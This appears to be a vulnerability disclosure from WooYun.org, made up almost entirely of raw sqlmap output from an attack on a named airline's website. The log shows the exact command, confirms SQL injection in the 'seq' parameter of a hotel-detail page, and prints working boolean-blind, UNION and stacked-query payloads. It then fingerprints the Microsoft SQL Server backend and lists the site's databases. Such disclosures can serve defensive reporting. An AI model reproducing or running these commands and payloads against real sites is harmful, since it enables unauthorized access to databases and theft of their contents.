WooYun.org

[root@Hacker~]# Sqlmap Sqlmap -u "http://www.airmacau.com.tw/holidays/hotel_detail.asp?route=mfm&seq=227" --dbs
    sqlmap/1.0-dev - automatic SQL injection and database takeover tool
    http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local,
[*] starting at 04:03:38
[04:03:39] [INFO] testing connection to the target URL
[04:03:39] [INFO] testing if the target URL is stable. This can take a couple of seconds
[04:03:41] [INFO] target URL is stable
[04:03:41] [INFO] testing if GET parameter 'route' is dynamic
[04:03:41] [INFO] confirming that GET parameter 'route' is dynamic
[04:03:41] [WARNING] GET parameter 'route' does not appear dynamic
[04:03:41] [WARNING] heuristic (basic) test shows that GET parameter 'route' might not be injectable
[04:03:41] [INFO] testing for SQL injection on GET parameter 'route'
[04:03:41] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[04:03:44] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[04:03:44] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[04:03:45] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[04:03:46] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[04:03:47] [INFO] testing 'MySQL inline queries'
[04:03:47] [INFO] testing 'PostgreSQL inline queries'
[04:03:48] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[04:03:48] [INFO] testing 'Oracle inline queries'
[04:03:48] [INFO] testing 'SQLite inline queries'
[04:03:48] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[04:03:49] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[04:03:50] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[04:03:51] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[04:03:52] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[04:03:53] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[04:03:54] [INFO] testing 'Oracle AND time-based blind'
[04:03:55] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[04:04:06] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[04:04:06] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms'
[04:04:17] [WARNING] GET parameter 'route' is not injectable
[04:04:17] [INFO] testing if GET parameter 'seq' is dynamic
[04:04:18] [INFO] confirming that GET parameter 'seq' is dynamic
[04:04:18] [INFO] GET parameter 'seq' is dynamic
[04:04:19] [INFO] heuristics detected web page charset 'Big5'
[04:04:19] [INFO] heuristic (basic) test shows that GET parameter 'seq' might be injectable
[04:04:19] [INFO] testing for SQL injection on GET parameter 'seq'
[04:04:19] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[04:04:21] [INFO] GET parameter 'seq' is 'AND boolean-based blind - WHERE or HAVING clause' injectable
[04:04:24] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[04:04:24] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[04:04:24] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[04:04:24] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[04:04:25] [INFO] testing 'MySQL inline queries'
[04:04:25] [INFO] testing 'PostgreSQL inline queries'
[04:04:25] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[04:04:25] [INFO] testing 'Oracle inline queries'
[04:04:26] [INFO] testing 'SQLite inline queries'
[04:04:26] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[04:04:26] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[04:04:26] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[04:05:26] [INFO] GET parameter 'seq' is 'Microsoft SQL Server/Sybase stacked queries' injectable
[04:05:26] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[04:05:27] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[04:05:27] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[04:05:27] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the rang
[04:05:31] [INFO] target URL appears to have 34 columns in query
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n]
[04:06:30] [INFO] GET parameter 'seq' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'seq' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection points with a total of 346 HTTP(s) requests:
---
Place: GET
Parameter: seq
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: route=mfm&seq=227 AND 7109=7109
    Type: UNION query
    Title: Generic UNION query (NULL) - 34 columns
    Payload: route=mfm&seq=-6708 UNION ALL SELECT 19,19,19,19,CHAR(113)+CHAR(98)+CHAR(108)+CHAR(104)+CHAR(113)+CHAR(104)+CHAR(70)+CHAR(99)+CHAR(103)+CHAR(116)+CHAR(100
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: route=mfm&seq=227; WAITFOR DELAY '0:0:5'--
---
[04:06:35] [INFO] testing Microsoft SQL Server
[04:06:35] [INFO] confirming Microsoft SQL Server
[04:06:36] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows Vista
web application technology: ASP.NET, ASP, Microsoft IIS 7.0
back-end DBMS: Microsoft SQL Server 2005
[04:06:36] [INFO] fetching database names
[04:06:36] [INFO] the SQL query used returns 20 entries
[04:06:36] [INFO] retrieved: "ctu_Web"
[04:06:37] [INFO] retrieved: "hgh_Web"
[04:06:37] [INFO] retrieved: "master"
[04:06:37] [INFO] retrieved: "model"
[04:06:37] [INFO] retrieved: "msdb"
[04:06:37] [INFO] retrieved: "nkg_Web"
[04:06:38] [INFO] retrieved: "pek_Web"
[04:06:38] [INFO] retrieved: "pvg_Web"
[04:06:38] [WARNING] possible server trimmed output detected (probably due to its length and/or content): ReportServerqdd"]'
[04:06:38] [WARNING] possible server trimmed output detected (probably due to its length and/or content): ReportServerTem"]'
[04:06:39] [INFO] retrieved: "s_airmacau"
[04:06:39] [INFO] retrieved: "sin_web"
[04:06:39] [INFO] retrieved: "szx_Web"
[04:06:39] [INFO] retrieved: "tempdb"
[04:06:40] [INFO] retrieved: "tpe_web"
[04:06:40] [WARNING] possible server trimmed output detected (probably due to its length and/or content): tw_web_eventqdd"]'
[04:06:40] [WARNING] possible server trimmed output detected (probably due to its length and/or content): tw_web_internal"]'
[04:06:40] [WARNING] possible server trimmed output detected (probably due to its length and/or content): tw_web_outstati"]'
[04:06:41] [WARNING] possible server trimmed output detected (probably due to its length and/or content): tw_web_telexqdd"]'
[04:06:41] [INFO] retrieved: "xmn_Web"
available databases [14]:
[*] ctu_Web
[*] hgh_Web
[*] master
[*] model
[*] msdb
[*] nkg_Web
[*] pek_Web
[*] pvg_Web
[*] s_airmacau
[*] sin_web
[*] szx_Web
[*] tempdb
[*] tpe_web
[*] xmn_Web
[04:06:41] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 87 times
[04:06:41] [WARNING] cannot properly display Unicode characters inside Windows OS command prompt (http://bugs.python.org/issue1602). All unhandled occurances will resu
[04:06:41] [INFO] fetched data logged to text files under 'C:\Users\ADMINI~1\Desktop\???~1\???~1\SQLMAP~1.4\Bin\output\www.airmacau.com.tw'